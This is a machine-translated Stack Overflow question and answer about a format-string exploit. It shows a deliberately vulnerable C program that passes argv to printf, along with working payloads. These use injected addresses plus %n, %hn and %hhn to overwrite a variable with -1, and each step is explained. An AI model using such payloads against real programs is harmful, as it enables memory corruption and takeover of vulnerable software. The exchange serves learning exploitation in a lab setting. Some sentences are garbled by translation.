字符串格式利用率:设置负值=“-1”使用%n

问题描述:

我试图使用Format String exploit来设置变量的值。我能够使用修饰符%n通过字符串长度的值更改变量。字符串格式利用率:设置负值=“-1”使用%n

代码

#include <stdio.h> 
#include <stdlib.h> 
int main(int argc, char *argv[]){ 
    char buffer[100]; 
    static int a=77; 
    strcpy(buffer, argv[1]); 
    printf(buffer); 
    printf("address a = 0x%08x, [0x%08x]\n", &a, a); 
    printf("a = %d\n", a); 
return 0; 
} 

./v4_2.out `printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n 

address a = 0x080498c4, [0x00000034] 
a = 52 

我怎样才能改变一个变量设置为负值,例如, “A = 1” 后?

P.S.我发现这可以用%u来完成。

+0

欢迎来到SO。你很不清楚,你想达到什么目的。你的标题是关于使用错误的格式说明符(%u vs -1)。你的问题提到了一些利用来修改一个值。格式说明符可能会改变打印输出,但它们不会更改任何变量中的值。 – Gerhardh

只需使用linked article第一部分末尾描述的技巧即可。这包括分裂值-1(0xFFFFFFFFF)到下部和上部字(两次0xFFFF)和这些分别写入地址&a(void*)(&a)+2

./v4_2.out `printf "\xc4\x98\x04\x08\xc6\x98\x04\x08"`%65527x%7\$hn%8\$hn" 

解释:

\xc4\x98\x04\x08 ... 0x080498c4, the address of a (lower two bytes) 
\xc6\x98\x04\x08 ... 0x080498c6, the address of a (upper two bytes) 
%65527x ... write 65527 extra bytes of garbage (eight have been written by now, so that makes 65535) 
%7\$hn ... write the number of characters so far (65535 = 0xFFFF) to lower word of a 
%8\$hn ... write the number of characters so far (65535 = 0xFFFF, it didn't change) to upper word of a 

数7来自您的上一个命令:

printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n 
          1^ 2^ 3^ 4^ 5^ 6^7^ 

并且我存储了一个更多的地址,以便堆叠一个t的位置8.

这仍然使很多输出,你可以更进一步,并写入0xFFFFFFFF逐字节。它应该是这样的:比其他0xFFFFFFFF

\xc4\x98\x04\x08 ... 0x080498c4, the first (low) byte of a 
\xc5\x98\x04\x08 ... 0x080498c5, the second byte of a 
\xc6\x98\x04\x08 ... 0x080498c6, the third byte of a 
\xc7\x98\x04\x08 ... 0x080498c7, the fourth (high) byte of a 
%239x ... write 239 extra bytes of garbage (16 have been written by now, so that makes 255) 
%7\$hhn ... write the number of characters so far, as a byte (255 = 0xFF) to the first address above 
%8\$hhn ... the same for the second 
%9\$hhn ... the same for the third 
%10\$hhn ... the same for the last 

数字需要每个%hhn之间的一些额外的输出。您需要计算它们之间输出的垃圾字节数量,以弥补各自的差异。如果您需要低于之前的值,请使用仅写入一个字节的事实,以便算术以256为模。